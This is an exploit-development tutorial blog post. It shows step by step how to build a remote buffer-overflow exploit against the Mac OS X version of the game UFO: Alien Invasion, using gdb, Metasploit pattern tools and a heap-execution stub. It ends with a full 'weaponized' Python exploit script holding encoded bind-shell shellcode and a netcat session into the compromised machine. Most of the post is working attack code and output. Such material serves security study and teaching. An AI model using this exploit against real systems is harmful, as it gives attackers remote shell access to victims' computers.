UFO: Alien Invasion Part 2 – One More Thing…

28th June 2010 - by dookie2000ca

UFO alien invasion exploitThis post is a continuation of part 1 of exploiting UFO: Alien Invasion.  When I was downloading this game, I noticed that they had a version for Mac OSX as well and since public Mac exploits are few and far between, it seemed like a good idea to see if this attack could be extended to target OSX as well. Exploiting a Mac also gives us the opportunity to practice our GNU Debugger (GDB) skills.
We begin our journey by launching UFOAI on the victim and attaching to the process with the GDB.


dookies-macbook:~ dookie$ gdb -p `ps auxww |grep ufo | awk {'print $2'}`


First, we’ll need to determine if we can successfully overwrite EIP so we construct a new skeleton exploit that will launch a string of A’s at the victim when it connects.


#!/usr/bin/env python
#
# Skeleton Exploit for UFO: Alien Invasion
# Author: dookie
#
import sys, socket

sploit = "001 :"
sploit += "\x41" * 1000
sploit += "\x0d\x0a"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 6667))
s.listen(1)

print ("[*] Listening on port 6667.")
print ("[*] Have someone connect to you.")
print ("[*] Type -c to exit.")
conn, addr = s.accept()
print '[*] Received connection from: ', addr
conn.send(sploit)
conn.close


As we did with the Windows version of this exploit, we run our script, connect to our malicious server and capture the crash in our debugger.


(gdb) c
Continuing.

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x41414141
0x41414141 in ?? ()
(gdb)


This looks very promising. Looking at the state of the registers shows we have full control over EIP along with some other registers.


(gdb) i reg
eax            0x0    0
ecx            0x237ce0d0    595386576
edx            0xfd1a20    16587296
ebx            0x41414141    1094795585
esp            0xbffffa30    0xbffffa30
ebp            0x41414141    0x41414141
esi            0xbffffb70    -1073742992
edi            0xbffffbb0    -1073742928
eip            0x41414141    0x41414141
eflags         0x10286    66182
cs             0x17    23
ss             0x1f    31
ds             0x1f    31
es             0x1f    31
fs             0x0    0
gs             0x37    55
(gdb)


We can safely assume that the required buffer length to overwrite EIP on the Mac will not be the same as that on Windows so we use Metasploit to generate a unique 1000-byte pattern that we will replace the A’s with.


root@bt:~/docs/exploit/ufo# /opt/metasploit3/msf3/tools/pattern_create.rb 1000


We relaunch our exploit, connect to our server and again analyze the crash in gdb.


(gdb) i reg
eax            0x0    0
ecx            0x237aeff0    595259376
edx            0xfd1a20    16587296
ebx            0x72413372    1916875634
esp            0xbffffa30    0xbffffa30
ebp            0x35724134    0x35724134
esi            0xbffffb70    -1073742992
edi            0xbffffbb0    -1073742928
eip            0x41367241    0x41367241
eflags         0x10286    66182
cs             0x17    23
ss             0x1f    31
ds             0x1f    31
es             0x1f    31
fs             0x0    0
gs             0x37    55
(gdb)


Our debugger shows us that EIP was overwritten with 0×41367241 which we plug in to the Metasploit pattern_offset.rb script to determine the position these characters occur.


root@bt:~/docs/exploit/ufo# /opt/metasploit3/msf3/tools/pattern_offset.rb 41367241
528


Metasploit tells us that the characters that overwrite EIP are bytes 529-532 so we edit our skeleton exploit to reflect this new information.


#!/usr/bin/env python
#
# Skeleton Exploit for UFO: Alien Invasion
# Author: dookie
#
import sys, socket

sploit = "001 :"
sploit += "\x41" * 528
sploit += "\x42" * 4            # EIP overwrite
sploit += "\xcc" * 468          # Dummy shellcode
sploit += "\x0d\x0a"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 6667))
s.listen(1)
print ("[*] Listening on port 6667.")
print ("[*] Have someone connect to you.")
print ("[*] Type -c to exit.")
conn, addr = s.accept()
print '[*] Received connection from: ', addr

conn.send(sploit)
conn.close


Launching our attack again, we see if we have everything controlled properly.


Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x42424242
0x42424242 in ?? ()
(gdb) i reg
eax            0x0    0
ecx            0x237beb00    595323648
edx            0xfd1a20    16587296
ebx            0x41414141    1094795585
esp            0xbffffa30    0xbffffa30
ebp            0x41414141    0x41414141
esi            0xbffffb70    -1073742992
edi            0xbffffbb0    -1073742928
eip            0x42424242    0x42424242
eflags         0x10286    66182
cs             0x17    23
ss             0x1f    31
ds             0x1f    31
es             0x1f    31
fs             0x0    0
gs             0x37    55
(gdb)


EIP has been overwritten with B’s as planned and dumping the address that ESP points to shows us that our dummy shellcode has made its way through onto the stack as well.


(gdb) x/200xb $esp
0xbffffa30:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffa38:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffa40:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffa48:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffa50:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffa58:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffa60:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffa68:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffa70:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffa78:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffa80:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffa88:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffa90:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffa98:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffaa0:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffaa8:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffab0:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffab8:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffac0:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffac8:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffad0:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffad8:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffae0:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffae8:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffaf0:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
(gdb)


If this were the comfortable world of Windows, all we would need to do would be to overwrite EIP with a JMP ESP instruction and we’d be on our way but in OSX, the stack is non-executable so we will need to use Dino Dai Zovi’s technique to copy our payload to the heap and execute it from there. For a more complete overview of this process see the excellent write-up on the Evocam exploit by d1dn0t on the Offensive Security blog. The ‘Exec Payload From Heap’ stub looks like the following.


#### Exec Payload From Heap Stub (By Dino Dai Zovi) ####
frag0 = "\x90\x58\x61\xc3"
frag1 = "\x90\x58\x89\xe0\x83\xc0\x0c\x89\x44\x24\x08\xc3"

writeable = 0x8fe66448          # writeable memory location in /usr/lib/dyld
setjmp = 0x8fe1cf38             # t _setjmp in /usr/lib/dyld
strdup = 0x8fe210dc             # t _strdup in /usr/lib/dyld
jmpeax = 0x8fe01041             # jmp eax in /usr/lib/dyld

stub = frag0 + struct.pack('<III',setjmp,writeable+32,writeable) + \
frag1 + 'A' * 20 + struct.pack('<IIIII',setjmp,writeable+24,writeable,strdup,jmpeax) + \
'A' * 4


Our exploit is edited to include the stub and some dummy shellcode.


#!/usr/bin/python

import sys, socket, struct

# msfpayload osx/x86/vforkshell_bind_tcp R | msfencode -b '\x00\x0a\x0d' -t c

shellcode = "\x90" * 16
shellcode += "\xcc" * 300

#### Exec Payload From Heap Stub (By Dino Dai Zovi) ####
frag0 = "\x90\x58\x61\xc3"
frag1 = "\x90\x58\x89\xe0\x83\xc0\x0c\x89\x44\x24\x08\xc3"

writeable = 0x8fe66448          # writeable memory location in /usr/lib/dyld
setjmp = 0x8fe1cf38             # t _setjmp in /usr/lib/dyld
strdup = 0x8fe210dc             # t _strdup in /usr/lib/dyld
jmpeax = 0x8fe01041             # jmp eax in /usr/lib/dyld

stub = frag0 + struct.pack('<III',setjmp,writeable+32,writeable) + \
frag1 + 'A' * 20 + struct.pack('<IIIII',setjmp,writeable+24,writeable,strdup,jmpeax) + \
'A' * 4

sploit = "001 :"
sploit += "\x41" * 524
sploit += stub
sploit += shellcode
sploit += "\x0d\x0a"
#sploit = lead

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 6667))
s.listen(1)
print ("[*] Listening on port 6667.")
print ("[*] Have someone connect to you.")
print ("[*] Type [control]-c to exit.")
conn, addr = s.accept()
print '[*] Received connection from: ', addr

conn.send(sploit)
conn.close


Again, we attach gdb to UFOAI and we set a breakpoint at the end of the setjmp function and allow the program to continue execution.


(gdb) b *0x8fe1d026
Breakpoint 1 at 0x8fe1d026
(gdb) c
Continuing.


Our exploit is launched, we connect to our malicious server and cross our fingers.


Breakpoint 1, 0x8fe1d026 in __dyld__setjmp ()
(gdb)


Excellent, we’ve hit our breakpoint so we know that our stub is working to some degree. Pressing ‘c’ to continue execution will see us hitting our breakpoint again as we reach the end of our second setjmp function.


(gdb) c
Continuing.

Breakpoint 1, 0x8fe1d026 in __dyld__setjmp ()
(gdb)


If we single step 5 times and then look at the EAX register, we should hopefully see our shellcode as planned.


(gdb) si
0x8fe66460 in ?? ()
(gdb) si
0x8fe66461 in ?? ()
(gdb) si
0x8fe66462 in ?? ()
(gdb) si
0x8fe66464 in ?? ()
(gdb) si
0x8fe66467 in ?? ()
(gdb) x/100xb $eax
0xbffffa70:    0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffa78:    0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffa80:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffa88:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffa90:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffa98:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffaa0:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffaa8:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffab0:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffab8:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffac0:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffac8:    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffad0:    0xcc    0xcc    0xcc    0xcc
(gdb)


Now, we continue execution and hit our dummy shellcode without a hitch.


(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x237cc9d1 in ?? ()
(gdb) i reg
eax            0x237cc9c0    595380672
ecx            0x0    0
edx            0x0    0
ebx            0x41414141    1094795585
esp            0xbffffa6c    0xbffffa6c
ebp            0xc3082444    0xc3082444
esi            0x890cc083    -1995652989
edi            0xe0895890    -527869808
eip            0x237cc9d1    0x237cc9d1
eflags         0x246    582
cs             0x17    23
ss             0x1f    31
ds             0x1f    31
es             0x1f    31
fs             0x0    0
gs             0x37    55
(gdb) x/6i $eip
0x237cc9d1:    int3
0x237cc9d2:    int3
0x237cc9d3:    int3
0x237cc9d4:    int3
0x237cc9d5:    int3
0x237cc9d6:    int3
(gdb)


All we need to do now is replace our dummy shellcode with some genuine bindshell shellcode and get our shell!


root@bt:~# msfpayload osx/x86/vforkshell_bind_tcp R | msfencode -b '\x00\x0a\x0d' -t c


root@bt:~/docs/exploit/ufo# ./macsploit.py
[*] Listening on port 6667.
[*] Have someone connect to you.
[*] Type [control]-c to exit.
[*] Received connection from:  ('192.168.1.124', 54370)
root@bt:~/docs/exploit/ufo# nc 192.168.1.124 4444
id
uid=501(dookie) gid=20(staff) groups=20(staff),98(_lpadmin),102(com.apple.sharepoint.group.2),81(_appserveradm),79(_appserverusr),80(admin),101(com.apple.sharepoint.group.1)
uname -a
Darwin dookies-macbook.local 9.8.0 Darwin Kernel Version 9.8.0: Wed Jul 15 16:55:01 PDT 2009; root:xnu-1228.15.4~1/RELEASE_I386 i386


Our final weaponized exploit looks like this:


#!/usr/bin/python

import sys, socket, struct

# msfpayload osx/x86/vforkshell_bind_tcp R | msfencode -b '\x00\x0a\x0d' -t c

shellcode = "\x90" * 16
shellcode += ("\xdb\xc3\xd9\x74\x24\xf4\xbb\xf3\xbd\x8d\x7c\x33\xc9\x5d\xb1"
"\x27\x31\x5d\x18\x03\x5d\x18\x83\xc5\xf7\x5f\x78\x4d\x37\x06"
"\xd3\xee\xe7\x79\x84\xbc\xb7\x1b\xe9\xc1\xb8\x59\x8f\xc1\xc6"
"\x5d\xf9\x04\x94\x0f\xab\xe0\x18\xb2\x5a\xad\x91\x51\x36\x5d"
"\xf2\xc3\x95\xed\x9c\x26\x99\x7c\x3b\xeb\xcc\xd2\x73\x61\x3c"
"\x52\x01\x28\xec\x01\xb3\x86\xa0\xb8\xf6\xa7\xb3\x90\x81\x6f"
"\x02\xc2\x12\x84\x64\xb7\x47\x0c\x34\x87\x3d\x7f\x3a\x95\x82"
"\xfc\xc0\x59\x71\xf2\x06\x9e\x29\xa4\x38\x4e\x79\x7f\x74\xee"
"\xe9\x10\xba\xc2\x7c\x18\x73\x5e\xb3\x9a\xf0\xa5\x4b\xef\xe1"
"\x68\x8b\x5f\x66\xa4\x24\x13\x1e\xd2\x15\xb1\xb7\x4c\xe0\xd6"
"\x18\xc1\xa1\x48\x29\xda\x88\xe9\x78\xdd\x42\x63\x99\x8d\x32"
"\x20\x0e\x7e\x02\xc1\x63\xfe\x53\x0e\x2b\xaf\xd3\x43\x4c\x45")

#### Exec Payload From Heap Stub (By Dino Dai Zovi) ####
frag0 = "\x90\x58\x61\xc3"
frag1 = "\x90\x58\x89\xe0\x83\xc0\x0c\x89\x44\x24\x08\xc3"

writeable = 0x8fe66448          # writeable memory location in /usr/lib/dyld
setjmp = 0x8fe1cf38             # t _setjmp in /usr/lib/dyld
strdup = 0x8fe210dc             # t _strdup in /usr/lib/dyld
jmpeax = 0x8fe01041             # jmp eax in /usr/lib/dyld

stub = frag0 + struct.pack('<III',setjmp,writeable+32,writeable) + \
frag1 + 'A' * 20 + struct.pack('<IIIII',setjmp,writeable+24,writeable,strdup,jmpeax) + \
'A' * 4

sploit = "001 :"
sploit += "\x41" * 524
sploit += stub
sploit += shellcode
sploit += "\x0d\x0a"
#sploit = lead

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 6667))
s.listen(1)
print ("[*] Listening on port 6667.")
print ("[*] Have someone connect to you.")
print ("[*] Type [control]-c to exit.")
conn, addr = s.accept()
print '[*] Received connection from: ', addr

conn.send(sploit)
conn.close


About the Author

Devon Kearns (dookie2000ca) is a mild-mannered security analyst for a government department by day and by night is one of the maintainers of the Exploit Database.